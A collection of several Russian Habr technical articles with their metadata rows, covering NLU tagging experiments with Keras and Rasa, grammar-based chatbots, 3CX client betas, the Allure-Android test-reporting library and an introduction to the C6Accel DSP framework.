Я решил попробовать все три в обратном порядке.
#### NER model из sequence tagging
Желание править существующий код улетучилось сразу же, как только я заглянул внутрь. Поэтому я пошел с другой стороны — надергать из sequence tagging разных классов и методов, взять gensim.models.Word2Vec и это все туда скормить. После часа попыток я смог сделать учебные наборы данных, но вот именно словарь мне подменить не удалось. Я посмотрел на ошибку, прилетевшую откуда-то из глубин numpy, и отказался от этой затеи.
Сделал [коммит](https://github.com/aragaer/human2pa/commit/195d7b2564757d318eb2e031888d6ca07c1a8bf9), чтобы на всякий случай не потерялось.
#### Seq2Seq
В документации на Seq2Seq описано только как ее приготовить, но не как ей пользоваться. Пришлось найти [пример](https://github.com/nicolas-ivanov/debug_seq2seq) и попытаться опять же подстроить под свое. Еще пара часов экспериментов и результат — точность в процессе обучения стабильно равна 0.83. Независимо от размера учебных данных. Значит я опять что-то где-то перепутал.
Здесь мне в примере не очень понравилось, что, во-первых, вручную идет разбиение учебных данных на куски, а во-вторых, вручную же делается embedding. Я в итоге прикрутил в одну Keras-модель сначала Embedding, потом Seq2Seq, а данные подготовил одним большим куском.
**получилось красиво**
```
model = Sequential()
model.add(Embedding(256, TOKEN_REPRESENTATION_SIZE,
input_length=INPUT_SEQUENCE_LENGTH))
model.add(SimpleSeq2Seq(input_dim=TOKEN_REPRESENTATION_SIZE,
input_length=INPUT_SEQUENCE_LENGTH,
hidden_dim=HIDDEN_LAYER_DIMENSION,
output_dim=output_dim,
output_length=ANSWER_MAX_TOKEN_LENGTH,
depth=1))
model.compile(loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy'])
```
Но красота не спасла — поведение сети не изменилось.
[Еще один коммит](https://github.com/aragaer/human2pa/commit/18c199cfe377b54bc2578346a3b7b1b07fabe8d8), перехожу к третьему варианту.
#### Seq2seq вручную
Сначала я честно все скопировал и попробовал запустить как есть. На вход подается просто последовательность символов исходной фразы, на выходе должна быть последовательность символов, которую можно посплитать по пробелам и получить список тегов. Точность вроде бы была неплохой. Потому что нейросеть быстро научилась, что если она начала по буквам выдавать какой-то тег, то дальше уже без ошибок напишет его до конца. А вот сами теги ну нисколько не соответствовали желаемому результату.
Вносим небольшое изменение — результат должен быть не последовательностью символов, а последовательностью тегов, набранных из конечного списка. Точность сразу упала — потому что теперь уже стало честно понятно, что сеть не справляется.
Тем не менее, я довел обучение сети до конца и посмотрел, что же именно она выдает. Потому что стабильный результат в 20% это наверно что-то значит. Как оказалось, сеть нашла способ особо не напрягаться:
```
please, remind me tomorrow to buy stuff
O
```
То есть делает вид, что во фразе всего одно слово, которое не содержит никаких данных (в смысле таких, которые еще не съел классификатор). Смотрим на учебные данные… действительно, порядка 20% фраз именно такие — yes, no, часть ping (то есть всякие hello) и часть acknowledge (всякие thanks).
Начинаем ставить сети палки в колеса. Урезаю количество yes/no в 4 раза, ping/acknowledge в 2 раза и добавляю еще всякого «мусора» в одно слово, но содержащее данные. На этом этапе я решил, что не надо мне в тегах иметь явную привязку к классу, поэтому например `B-makiuchi-count` превратилось в просто `B-count`. А новый «мусор» это были просто числа с классом `B-count`, «время» в виде «4:30» с ожидаемым тегом `B-time`, указания на дату типа «now», «today» и «tomorrow» с тегом `B-when`.
Все равно не получается. Сеть уже не выдает однозначного ответа «O и все», но при этом accuracy так и остается на уровне 18%, а ответы совершенно неадекватные.
```
not yet
expected ['O', 'O']
actual ['O', 'O', 'B-what']
what is the weather outside?
expected ['O', 'O', 'O', 'O', 'O']
actual ['O', 'O', 'B-what']
```
Пока тупик.
#### Интерлюдия — осмысление
Отсутствие результата — тоже результат. У меня появилось пусть и поверхностное, но понимание того, что именно происходит, когда я конструирую модели в Keras. Научился их сохранять, загружать и даже доучивать по мере необходимости. Но при этом я не добился того, чего хотел — перевода «человеческой» речи в «язык бота». Зацепок у меня больше не оставалось.
И тогда я начал писать статью. Предыдущую статью. В первоначальном ее варианте на этом месте все заканчивалось — у меня есть классификатор, но нет теггера. После некоторых раздумий я отказался от этой затеи и оставил только про более-менее успешный классификатор и упомянул проблемы с теггером.
Расчет оправдался — я получил ссылку на [Rasa NLU](https://github.com/RasaHQ/rasa_nlu). На первый взгляд это выглядело как что-то очень подходящее.
#### Rasa NLU
Несколько дней я не возвращался к своим экспериментам. Потом сел и за час с небольшим прикрутил Rasa NLU к своим экспериментальным скриптам. Нельзя сказать, что это было очень сложно.
**код****make\_sample**
```
tag_var_re = re.compile(r'data-([a-z-]+)\((.*?)\)|(\S+)')
def make_sample(rs, cls, *args, **kwargs):
tokens = [cls] + list(args)
for k, v in kwargs.items():
tokens.append(k)
tokens.append(v)
result = rs.reply('', ' '.join(map(str, tokens))).strip()
if result == '[ERR: No Reply Matched]':
raise Exception("failed to generate string for {}".format(tokens))
cmd, en, rasa_entities = cls, [], []
for tag, value, just_word in tag_var_re.findall(result):
if just_word:
en.append(just_word)
else:
_, tag = tag.split('-', maxsplit=1)
words = value.split()
start = len(' '.join(en))
if en:
start += 1
en.extend(words)
end = len(' '.join(en))
rasa_entities.append({"start": start, "end": end,
"value": value, "entity": tag})
assert ' '.join(en)[start:end] == value
return cmd, en, rasa_entities
```
После такого сохранять учебные данные совсем нетрудно:
```
rasa_examples = []
for e, p, r in zip(en, pa, rasa):
sample = {"text": ' '.join(e), "intent": p}
if r:
sample["entities"] = r
rasa_examples.append(sample)
with open(os.path.join(data_dir, "rasa_train.js"), "w") as rf:
json.dump({"rasa_nlu_data": {"common_examples": rasa_examples,
"regex_features": [],
"entity_synonims": []}},
rf)
```
Самое сложное в создании модели — правильный конфиг
```
training_data = load_data(os.path.join(data_dir, "rasa_train.js"))
config = RasaNLUConfig()
config.pipeline = registry.registered_pipeline_templates["spacy_sklearn"]
config.max_training_processes = 4
trainer = Trainer(config)
trainer.train(training_data)
model_dir = trainer.persist(os.path.join(data_dir, "rasa"))
```
А самое сложное в использовании — найти ее
```
config = RasaNLUConfig()
config.pipeline = registry.registered_pipeline_templates["spacy_sklearn"]
config.max_training_processes = 4
model_dir = glob.glob(data_dir+"/rasa/default/model_*")[0]
interpreter = Interpreter.load(model_dir, config)
```
```
parsed = interpreter.parse(line)
result = [parsed['intent_ranking'][0]['name']]
for entity in parsed['entities']:
result.append(entity['entity']+':')
result.append('"'+entity['value']+'"')
print(' '.join(result))
```
`please, find me some pictures of japanese warriors
find what: "japanese warriors"
remind me to have a breakfast now, sweetie
remind action: "have a breakfast" when: "now" what: "sweetie"`
… хотя еще есть над чем работать.
Из недостатоков — процесс обучения происходит совсем молча. Наверняка это где-то включается. Впрочем, все обучение заняло около трех минут. Еще для работы spacy все-таки требуется модель для исходного языка. Но она весит значительно меньше, чем GloVe — для английского языка это меньше 300 мегабайт. Правда для русского языка модели еще пока нет — а конечная цель моих экспериментов должна работать именно с русским. Надо будет посмотреть на другие pipeline, доступные в Rasa.
Весь код доступен [в гитхабе](https://github.com/aragaer/human2pa/tree/test_4). | https://habr.com/ru/post/350222/ | null | ru | null |
# Алгоритмы в индустрии: теория формальных языков и чат-боты
Популярность диалоговых систем тесно связана с термином “искусственный интеллект”. Такие системы обычно основаны на нейросетях и других моделях машинного обучения.
Однако, такой подход порождает неожиданные трудности
Поведение можно лучше контролировать, добавив в систему немного математической строгости. На помощь приходят классические алгоритмы — те самые, которые рассказывают в олимпиадных школах и используют на АСМ.
А под катом — палиндроматические сэндвичи, алгоритмизированные официанты, немного теории формальных языков и рассказ о том, к чему мы это все.
Представьте себя в ресторане. Официант подходит к вам, и происходит диалог:
```
- Выбрали что-нибудь?
- Да, мне, пожалуйста, черепашьи сердца с водорослями и мороженое.
- Какое мороженое? Есть вкусы мятная ваниль и ванильная мята.
- Ванильная мята, пожалуйста.
- Хорошо, заказ принят. По нашим расчетам приготовление займет примерно 43.333333 минуты. Приятного вечера!
```
Звучит легко, не так ли? Попробуем автоматизировать официанта в этом диалоге.
Текущие решения
---------------
Как уже было упомянуто, большая часть существующих популярных решений для NLP основано на машинном обучении, а алгоритмические методы рассматриваются как устаревшие и неэффективные. Однако, с ML-методами тоже не всё так просто:
* Решения моделей невозможно (или очень сложно) объяснить, следовательно, непонятно как отлаживать проблемы
* Нельзя быть уверенным в надежности решения, поэтому приходится добавлять огромные черные списки для оскорбительных словосочетаний
* Для обучения нужны большие выборки данных, которые сложно собрать на начальном этапе
* Требуется более сложная схема ведения диалога, чем [реакция на интенты и slot-filling](https://medium.com/rasa-blog/do-it-yourself-nlp-for-bot-developers-2e2da2817f3d)
Говоря о rule-based подходе, есть целый [язык разметки искусственного интеллекта](https://www.tutorialspoint.com/aiml), в котором можно описать правила, по которым фразы будут обрабатываться. Недостаток этого фреймворка в том, что есть только зашитые в язык способы вычленять информацию из сообщений, и непонятно, как интегрировать это решение с внешними сервисами.
Есть и комбинированные решения. В частности, [фреймворк для обучения диалоговых систем](https://github.com/deepmipt/DeepPavlov), выпущенный недавно лабораторией iPavlov.ai, поддерживает комбинированные сценарии — можно совмещать компоненты машинного обучения и Rule-based подход в рамках одного чат-бота. Ниже мы приведем еще некоторые примеры интеграции машинного обучения в грамматику.
Архитектура системы
-------------------
Решение, которое мы предлагаем рассмотреть, состоит из трех основных частей:
* Модуль понимания
* Постоянная память
* Модуль генерации ответа
Стоит упомянуть, что кроме NLP-ядра в диалоговой системе обычно есть еще голосовой движок. Мы не будем рассматривать архитектуру этого компонента, но к нашему официанту можно легко добавить голос.
На весенней школе (про которую чуть позже) мы реализуем всю эту иерархию на С++ на примере нескольких мини-проектов, и даже прикрутим чат-бота к телеграмму при помощи [библиотеки](https://github.com/reo7sp/tgbot-cpp) одного из учеников нашей школы.
### Экскурс в теорию
На самом деле, теория формальных языков представляет собой формализацию лингвистики математическим языком. Базовые определения — это алфавит и слово. Алфавит — просто множество символов. Конечная последовательность символов из алфавита образует слово.
Символы могут иметь один из двух типов: терминал и нетерминал\*. Разница в том, что конечная последовательность грамматики может состоять только из терминалов, а нетерминалы выполняют утилитарную функцию.
Наконец, важнейшее определение. Грамматика — это набор правил вывода, по которым одни слова можно преобразовывать в другие.
В нашем же случае формальные определения немного расходится с интуицией. “Терминалы” в наших примерах — это слова русского языка. А значит, “слова” — это, по сути, реплики. Нетерминалы будут обозначаться словами в <угловых> скобках. Звучит сложно? Дальше будет хуже.
Приведем пример. Поскольку сейчас блок теории, пример должен быть не очень жизненным. Допустим, вы очень любите есть палиндроматические сэндвичи на завтрак. Проснувшись рано утром, вы решили сгенерировать себе такой сэндвич из C (сыра), Х (хлеба), К (колбасы). Нам также потребуется пара нетерминалов `<СТАРТ>` и `<СОДЕРЖИМОЕ>`.
Примеры палиндроматических сэндвичей:
```
Хлеб Хлеб (XX)
Хлеб Сыр Хлеб (XCX)
Xлеб Cыр Cыр Колбаса Сыр Cыр Хлеб (XCCКСCХ) *
* Выбор авторов
```
Грамматика следующая:
```
<СТАРТ> -> Х <СОДЕРЖИМОЕ> X
<СОДЕРЖИМОЕ> -> \perp | C | К | C <СОДЕРЖИМОЕ> C | К <СОДЕРЖИМОЕ> К
```
Вертикальная черта означает, что в этом правиле выбирается произвольная правая часть (последовательность после ->).
### Память
Самое простое в реализации — это память, просто набор переменных, объединенных в структуру. Память — единственное средство передать информацию между модулем понимания и генеративной системой.
Помимо сырых фактов (в нашем примере — перечисленных блюд) в память очень удобно записывать некоторое внутреннее состояние, которое само по себе будет описывать контекст диалога. Эти состояния объединены в так называемую машину состояний (по сути, детерминированный конечный автомат).
Машина состояний внутри памяти в каком-то роде близка к грамматике, но выполняет немного другие цели. По сути, такую машину можно задать исходным множеством состояний и таблицей переходов из одного состояния в другое. Переход в другое состояние происходит, когда модуль понимания распознает какое-то продвижение в диалоге.
В алгоритмическом официанте достаточно следующих состояний: $НАЧАЛО ДИАЛОГА$, $УТОЧНИТЬ ВИД$, $ПОДТВЕРДИТЬ ЗАКАЗ$. В вышеприведенном примере диалога каждая реплика официанта происходит в каждом из упомянутых состояний соответственно. Логику переходов мы опишем чуть позже.
### Модуль понимания
С точки зрения теории формальных языков это задача распознавания грамматики.
Пример грамматики:
```
<ЗАКАЗ> -> <ДАЙТЕ> <ЕДЫ> <И ЕЩЕ ЕДЫ>
<ДАЙТЕ> -> <ДАЙ> | <ПОЖАЛУЙСТА> <ДАЙ> | <ДАЙ> <ПОЖАЛУЙСТА>
<ДАЙ!> -> принесите мне | я хочу | мой заказ
<ПОЖАЛУЙСТА> -> пожалуйста | будьте добры
<ЕДЫ> -> <ЦЕЛОЕ БЛЮДО> | <БЛЮДО> с <ГАРНИРОМ>
<И ЕЩЕ ЕДЫ> -> <> | <ЕДЫ> <И ЕЩЕ ЕДЫ>
<ГАРНИРОМ> -> рисом | картофелем | водорослями
<ЦЕЛОЕ БЛЮДО> -> паста | мороженое
<БЛЮДО> -> куриная грудка | черепашьи сердца | сладкую котлетку
<КАКОЙ ВИД> -> <ВИД> | <ВИД> <ПОЖАЛУЙСТА>
<ОСТАВИТЬ ОТЗЫВ> -> Хочу оставить отзыв: <ОТЗЫВ>
```
Такая грамматика называется контекстно-свободной, поскольку в правой части расположены нетерминалы и применение правил возможно вне зависимости от другой части фразы. Существует и более узкий класс грамматик — регулярные. Именно на них основаны регулярные выражения.
Вспоминая про машину состояний, добавим переходы:
```
$НАЧАЛО ДИАЛОГА$, <ЗАКАЗ> -> $ПОДТВЕРДИТЬ ЗАКАЗ$
$ПОДТВЕРДИТЬ ЗАКАЗ$, <ЦЕЛОЕ БЛЮДО> -> $УТОЧНИТЬ ВИД$
$УТОЧНИТЬ ВИД$, <КАКОЙ ВИД> -> $ПОДТВЕРДИТЬ ЗАКАЗ$
```
Таким образом, в зависимости от реплики клиента можно перейти либо в $УТОЧНИТЬ ВИД$, либо сразу в $ПОДТВЕРДИТЬ ЗАКАЗ$. На самом деле, в правило можно добавить несколько правых частей. Тогда автомат из детерминированного превратится в недетерминированный, и переход нужно будет как-то выбирать. Можно выбирать случайно, можно использовать эвристики, а можно применить машинное обучение, решив задачу классификации.
Разбор осуществляется через [LL(1)-парсер](https://ru.wikipedia.org/wiki/LL(1)). Это сравнительно простой алгоритм, с небольшими модификациями позволяющий распознать намерение пользователя и выбрать наиболее важные факты из его реплики.
**Очень краткое описание алгоритма**Разбор грамматики — это задача восстановить последовательность правил, которые были применены к стартовому нетерминалу, чтобы получить заданную фразу.
Для каждого нетерминала создается функцию, которая будет заниматься его разбором. По сути, “разобрать нетерминал” — означает определить, по какому правилу он был раскрыт. Вот здесь мы и пользуемся буквосочетанием LL(1) — оно означает, что достаточно только первого символа из какой-то фразы, чтобы однозначно восстановить правило! Таким образом, разбор каждого нетерминала состоит из двух шагов:
Выбрать правило, которое было использовано
Рекурсивно запуститься от всех нетерминалов правой части этого правила
На самом деле, существует более общий алгоритм LL(k), который умеет разбирать и другие грамматики.
Но не всё так просто:
Понимать фразу необходимо по-разному в зависимости от текущего контекста. Посетитель хочет только сделать заказ или уточнить? Чтобы это определить, введем функцию от памяти, которая будет выдавать стартовый нетерминал: $start(memory)$
На самом деле, недостаточно просто понять корректность фразы. Из фразы нужно вычленить максимальное количество самой разной информации. Некоторые нетерминалы в таблице не имеют ни одной последовательности, в которую их можно раскрыть — просто потому, что, например, <ОТЗЫВ> может содержать всё что угодно. Поэтому вместо традиционного разбора просто запишем всё, что попало в этот нетерминал в правильное поле памяти.
### Модуль генерации
Небольшая предыстория. В России чтобы поступить в ВУЗ, необходимо сдать ЕГЭ, в т. ч. и по русскому языку. Как известно, ЕГЭ призвано формализовать систему проверки знаний выпускников школы. Одно из заданий в ЕГЭ — написать сочинение по тексту. А что мы делаем, если есть формальные требования? Используем [формальную грамматику](https://github.com/Omrigan/essay-writer/blob/master/awesome_text.json)!
**Базовый текст**Вам случалось любоваться Матрицей? Её гениальностью… Миллиарды людей живут полноценной жизнью… во сне. Знаете, ведь первая Матрица создавалась как идеальный мир, где нет страданий, где все люди будут счастливы. И полный провал. Люди не приняли программу, всех пришлось уничтожить. Принято думать, что не удалось описать идеальный мир языком программирования, правда, я считаю, что человечество как вид не приемлет реальность без мучений и нищеты. То есть утопия — лишь игрушка, которой до поры тешился ваш примитивный разум. Поэтому Матрица стала такой. Воссоздан пик вашей цивилизации. Именно вашей цивилизации, ведь когда машины начали думать за вас, возникла наша цивилизация. Так, собственно, и произошёл переворот. Эволюция, Морфеус, эволюция. А люди — динозавры. Посмотрите в окно. Это — закат человечества. Мы уже здесь хозяева, Морфеус. Будущее — за нами.
Сестры Вачовски
**Сгенерированное программой сочинение**Каждому из нас приходится думать о мире. "Каково значение мира в жизни человека?" — именно такую проблему поднимает рассказчик в данном фрагменте текста.
Показывая важность понятия "мир", автор оперирует понятиями матрицы и страдания. Показывая важность понятия "мир", писатель оперирует понятиями языка и программирования. Чтобы ответить на вопрос, рассказчик в словах "Принято думать, что не удалось описать идеальный мир языком программирования, правда, я считаю, что человечество как вид не приемлет реальность без мучений и нищеты" пишет о мире.
Позиция автора в этом фрагменте лучше всего выраженна цитатой: "Эволюция, Морфеус, эволюция".
Я в основном согласен с писателем, ведь действительно, только мир помогает оставаться человеку человеком.
В отечественной литературе много примеров мира. К примеру, в романе Мастер и Маргарита, который написал М. А. Булгаков, герой по имени Иешуа Га Ноцри отважно признает свои действия, показывая таким образом своё отношение к миру.
В литературе много примеров мира. Например, в романе Автостопом по галактике, который написал Дугласа Адамса, герой по имени Марвин очень любит, отчаявшись лежать лицом в пыли, показывая таким образом своё отношение к миру.
Таким образом, необходимо сказать: всё в жизни зависит от мира. Необходимо всегда помнить о важности этого понятия в нашей жизни.
Подробности и другие примеры в [репозитории](https://github.com/Omrigan/essay-writer)
Вернемся к алгоритмизации официанта.
Теперь задача диаметрально противоположна: необходимо породить подходящую реплику так, чтобы она была уместна и не приедалась шаблонностью.
```
<УТОЧНИТЬ ВИД> -> Какое <ЦЕЛОЕ БЛЮДО> ? Есть <ОПЦИЯ 1> и <ОПЦИЯ 2>.
<ПОДТВЕРДИТЬ> -> <ПОДТВЕРЖДЕНО> <ОЖИДАЙТЕ> <ВРЕМЯ>
<ПОДТВЕРЖДЕНО> -> Заказ принят | принято
<ОЖИДАЙТЕ> -> будет готово через | ожидаемое время приготовления
```
Возникают те же улучшения, что и с модулем понимания: память определяет стартовый нетерминал, а вместо некоторых других нетерминалов можно подставлять величины, записанные в памяти.
Как же должен быть построен алгоритм генерации? На самом деле, здесь все предельно интуитивно: в качестве начальной фразы берем стартовый нетерминал и начинаем раскрывать нетерминалы по случайному правилу из грамматики. Процесс продолжается, пока все нетерминалы не будут раскрыты.
Этот алгоритм можно продолжать улучшать: вводить вероятности, с которыми то или иное правило будет использовано, раскрывать цепочки параллельно или даже использовать методы обучения с подкреплением. Ключевое отличие от классических генеративных моделей (например, основанных на LSTM или [Transformer](https://arxiv.org/abs/1706.03762)) в том, что порожденная фраза всегда будет находиться в грамматике, а значит, будет уместна в данной ситуации.
Заключение
----------
Примерно так можно применить теорию алгоритмов (конечные автоматы и формальные грамматики), к, казалось бы, нетривиальной задаче обработки языка.
В России есть сильная алгоритмическая школа: школьники побеждают на [международной олимпиаде по информатике](http://stats.ioinformatics.org/delegations/RUS/2016), студенты — на [финале ACM ICPC](https://www.acm.org/media-center/2017/may/icpc-2017), курсы по алгоритмам в лучших университетах страны вмещают в себя крайне продвинутый материал.
Однако есть существенная проблема в устоявшейся педагогической традиции — применение этих алгоритмов практически не рассматривается. Спросив среднестатистического призера всероса по информатике о том, зачем нужно динамическое программирование в жизни, сложно получить внятный ответ. Хотя, например, моделирование биоинформатических последовательностей [можно эффективно выполнять](https://ostrov.ski/2014/12/28/hidden-markov-models-in-bioinformatics/) при помощи марковских моделей.
Мы в [GoTo](http://goto.msk.ru/) решили немного исправить эту ситуацию и организовать собственное алгоритмическое направление. Во главу угла ставится взаимосвязь классических алгоритмов и приложений, возникающих в реальных ситуациях.
Зимой направление "Алгоритмы и приложения" получило боевое крещение, и на [весенней школе GoTo](https://goto.msk.ru/camp_spring) направление вновь состоится. [Обновленная программа](https://goto.msk.ru/alg_program/) уже появилась на сайте, и мы устраиваем конкурс GoTo Algorithms Challenge Spring18.
Конкурс представляет собой виртуальное соревнование. У вас будет 5 часов на то, чтобы решить 8 задач. Сортировка участников происходит по сумме баллов за задачи
Результаты будут подведены 21 марта. Победители и призеры получат гранты и скидки на обучение в весенней школе GoTo.
[**Контест**](https://contest.yandex.ru/contest/7403/)
`Заказ принят. Ожидаемое время приготовления: 25 марта. Применяйте алгоритмы!` | https://habr.com/ru/post/350926/ | null | ru | null |
# Beta версии клиентов 3CX для Android и iOS, и решение проблемы с активацией 3CX на Windows 7
На этой неделе у нас снова хорошие новости – мы выпустили новые мобильные клиенты 3CX для Android и iOS (сейчас они находятся в статусе beta-тестирования), и нашли решение проблемы с активацией, которая преследовала пользователей 3CX на Windows 7 64 bit.
А теперь обо всем по порядку!
### Beta версия клиента 3CX для Android
Представляем beta версию клиента 3CX для Android. Он получил обновленный интерфейс унифицированных коммуникаций, улучшенный интерфейс номеронабирателя и полную русскую локализацию. Приложение также заметно быстрее реагирует на действия пользователя.
[](http://igorsnezhko.files.wordpress.com/2016/11/image5.png)
Серьезным улучшением является встроенный голосовой кодек G729 — бесплатно!
[](http://igorsnezhko.files.wordpress.com/2016/11/image6.png)
Чтобы получить beta-версию клиента 3CX для Android, зарегистрируйтесь в [программе beta-тестеров 3CX на Google Play](https://play.google.com/apps/testing/com.tcx.sipphone14) и установите новый клиент. Возможно, вначале вам придется удалить имеющийся клиент, чтобы установить новый.
### Beta версия клиента 3CX для iOS
Одновременно с выпуском beta-версии клиента 3CX для Android мы также выпустили beta-версию клиента для iOS. **Обратите внимание – клиент предназначен для iOS v10!**
iOS клиент имеет те же новые функции, которые появились в клиенте для Android. Кроме того, благодаря поддержке Apple CallKit, теперь вы управляете VoIP вызовами точно так же, как и обычными GSM вызовами! Например, входящий GSM вызов не ставит на удержание VoIP вызов – вы сами решаете, какому вызову отдать предпочтение.
В данный момент программа beta-тестирования ограничена первыми 1000 Apple ID, которые пользователи отправили через форму регистрации. Однако, попробуйте попросить инвайт на тестирование в комментариях к [этой новости](http://www.3cx.com/blog/releases/uc-ios-client-beta/), указав свой Apple ID e-mail.
### Решение проблемы активации 3CX на Windows 7 64 bit Russian
К сожалению, у многих пользователей, решивших установить 3CX на Windows, на самом последнем этапе возникала странная ошибка активации, сопровождавшаяся появлением окна с сообщением примерно такого вида:
```
license_error.HTTP/1.1 400 Bad Request Cache-Control: private Content-Length: 1647 Content-Type: text/html Server: Date: Fri, 11 Nov 2016 16:24:35 GMT
```
[](http://igorsnezhko.files.wordpress.com/2016/11/image4.png)
Обычно это ошибка возникает, когда сетевой экран или HTTP прокси пытаются фильтровать пакеты. В этом случае корректная активация невозможна, и пользователю рекомендуется активировать 3CX в обход прокси, либо временно отключить [DPI](https://ru.wikipedia.org/wiki/Deep_packet_inspection).
Однако в данном случае у пользователей не использовалось DPI, и причина была в другом – имя компьютера с русскими буквами в Windows 7. По умолчанию оно формируется по имени пользователя с добавлением суффикса **–ПК**.
Именно русские символы в имени компьютера вызывают ошибку активации! В настоящий момент мы рекомендуем просто **переименовать компьютер, убрав из имени кириллические символы**, как показано на рисунке. После переименования перегрузите компьютер. Для того, чтобы завершить установку 3CX:
* Настройка и активация 3CX через консоль — запустите C:\Program Files\3CX Phone System\Bin\PBXWizard\PbxConfigTool.exe
* Настройка и активация 3CX через веб интерфейс — запустите C:\Program Files\3CX Phone System\Bin\PBXWizard\PbxWebConfigTool.exe (используйте браузер Chrome).
В следующих сервисных пакетах эта ошибка будет устранена. | https://habr.com/ru/post/315702/ | null | ru | null |
# Allure-Android. Информативные отчеты для мобильной автоматизации
*Статья публикуется от имени Иванова Андрея и Батеевой Екатерины, [neifmetus](https://habr.com/ru/users/neifmetus/)*
Автоматизация мобильных приложений довольно молодая сфера: фреймворков много и многие проекты сталкиваются с проблемой выбора самого «быстрого, стабильного, простого в использовании». Также и мы около двух лет назад стояли перед выбором нового инструмента автоматизации тестирования Android приложений.
Все популярные инструменты так или иначе базировались на UIAutomator и Espresso, поэтому мы решили затестить их в чистом виде и сравнить с теми же Appium (самый популярный) и [seeTest](https://habr.com/company/tinkoff/blog/324766/) (использовался до этого, лучший среди платных на тот момент).
Из достоинств Appium можно выделить привычный многим WebDriver API, возможность использования большинства популярных языков и библиотек. Кроме этого, он широко используется во многих компаниях и позволяет писать тесты сразу под платформы iOS и Android. И, наконец, это бесплатное коробочное решение — что может быть лучше?
Так думали мы, пока не обнаружили следующие недостатки:
* низкая стабильность Appium Server
* нельзя взаимодействовать с публичными методами Activity (в 2018 году про создание backdoor в Appium рассказал в своей статье Николай Абалов из Badoo, прочитать можно [здесь](https://habr.com/ru/company/badoo/blog/354296/))
* сильно уступает по скорости выполнения тестов Espresso
Для нас эти моменты были критичными, поэтому было принято решение собрать свой набор инструментов вокруг Espresso для построения экосистемы тестирования мобильных приложений.
Итак, фреймворк был выбран, оставалось найти остальные компоненты:
1. **Runner** — должен позволять запускать тесты параллельно и конфигурировать пулы устройств
2. **Reporter** — должен предоставлять удобочитаемый отчет, которым мог бы пользоваться любой член команды
### Инструменты
С runner’ом все обстояло хорошо, немного покопавшись на github, был выбран [shazam/fork](https://github.com/shazam/fork).
Он позволяет удобно конфигурировать пул устройств, прост в доработках, генерирует простенький html отчет. К каждому отчету прикладывается logcat, в случае падение теста stacktrace и видео. Запись видео работает некорректно, все видео длительностью 1 мин, иногда на видео записано по несколько тестов.
Отчеты fork’a были далеки от идеала, конечный пользователь не понимал, что происходит в тесте только по его названию, не имея тест-кейс под рукой. Хотелось иметь шаги с вложенными файлами, которые бы позволили структурировать отчет. Поиски репортера для instrumentation тестов выдали 2 варианта spoon и cucumber. Оба варианта были отброшены т.к куча скринов в случае spoon и bdd от cucumber не решали вопрос полностью…
Allure выглядел наиболее оптимальным вариантом решения задачи:
* вложенность шагов, которая позволяет структурировать отчет
* возможность записывать кастомные данные о тесте(скриншоты, видео, номер задачи, параметры теста)
* лаконичный вид отчета
Но оставался один нюанс, Allure попросту не заводится на Android.
### Allure-android
В связи с вышеописанным было принято решение написать библиотеку, которая бы совмещала в себе простоту и элегантность Kotlin, преимущества фреймворка Allure и могла работать на телефонах под управлением Android. Для того, чтобы подключить библиотеку, добавим зависимости к модулю, в котором находятся instrumentation тесты:
```
dependencies {
androidTestImplementation "ru.tinkoff.allure:allure-android:$allureVersion@aar"
androidTestImplementation "ru.tinkoff.allure:allure-common:$allureVersion"
androidTestImplementation "ru.tinkoff.allure:allure-model:$allureVersion"
}
```
После настройки зависимостей, нам необходимо зарегистрировать **AllureRunListener** к классу отвечающему за запуск android тестов.
Сделать это можно тремя способами:
1. Добавить в **build.gradle**
```
testInstrumentationRunner "ru.tinkoff.allure.android.AllureAndroidRunner"
```
2. Добавить **listener** к аргументам в Runner onCreate(arguments: Bundle)
```
arguments.putCharSequence("listener", AllureAndroidListener::class.java.name)
```
3. Напрямую наследоваться от AllureAndroidRunner
В основе отчетов Allure находится step – шаг, атомарное действие, которое производится во время теста. Аннотации фреймворка Allure **[Step](https://habr.com/ru/users/step/)** и **[Parameter](https://habr.com/ru/users/parameter/)** были заменены на прямой вызов функции step().
```
inline fun step(description: String, vararg params: Parameter, block: () -> T): T
```
Эта функция не только заменяет сразу две аннотации, а также принимает лямбду, в которую следует обернуть тестовую логику. Например:
После запуска теста, на телефоне в папке /sdcard/allure-results появится отчеты в json формате подготовленные для Allure2. Вытащив результат, командой
```
adb pull /sdcard/allure-results
```
сможем сгенерировать отчет
```
allure generate
```
Из дополнительных возможностей, можно выделить:
* возможность вкладывать шаги друг в друга
* в любом месте можно вызывать deviceScreenshot(tag: String), чтобы сделать скриншот, который будет автоматически прикреплен к отчету в текущий step
* FailshotRule() — junit4 Rule, сделает скриншот непосредственно перед падением
Это краткий обзор использования Allure на платформе Android. Решение allure-android доступно на [GitHub](https://github.com/TinkoffCreditSystems/allure-android), можно детально посмотреть и поучаствовать в развитии. | https://habr.com/ru/post/433756/ | null | ru | null |
# Использование DSP-сопроцессора DM8168 с помощью фреймворка C6Accel
В этой статье мы познакомимся с отладочной платой DM816x/C6A816x/AM389x и фреймворком C6Accel (он же C6EZAccel), а также рассмотрим инструкции по наладке системы для выполнения встроенных тестовых приложений.
Всё началось с интересной идеи использовать алгоритмы нынче очень популярной библиотеки компьютерного зрения OpenCV на микропроцессоре. Однако, изучив немного тему, идея уточнилась. Почему бы не реализовать алгоритмы не просто на ядре ARM, а на специализированном ядре для цифровой обработки сигналов DSP? Тем самым разгрузим ядро ARМ, ускорим выполнение алгоритмов, и, глядишь, самое громоздкое приложение заработает в реальном времени.
Итак, что же использовать для решения задачи? Оказалось вариантов немного…
Рассмотрим всё логично и последовательно. Начнём с того, что позволяет работать с DSP процессором – это фреймворк C6Accel. Хорошо, он поддерживает OpenCV (причем 2.x) только в последней версии – 2.01.00.11. В свою очередь, этот фреймворк написан под микропроцессоры C6A81xx/DM81xx. По названию статьи вы уже догадались, что попался нам под руку DM8168, для работы с которым требуется программный интерфейс TI EZSDK (последняя версия – 5.05.02.00).
Для тех, кому хочется подробностей, в конце статьи есть полезные ссылки.
#### 1. Описание отладочной платы DM816x/C6A816x/AM389x
Вычислительный модуль DM816x/C6A816x/AM389x, разработанный компанией Texas Instruments совместно с Spectrum Digital, позволяет производить разработку на DM816x DaVinci MPU (DM8168, DM8167, DM8166, DM8165), на C6A816x C6-Integra DSP+ARM процессорах (C6A8168, C6A8167) и на AM389x Sitara ARM MPUs (AM3894, AM3892).
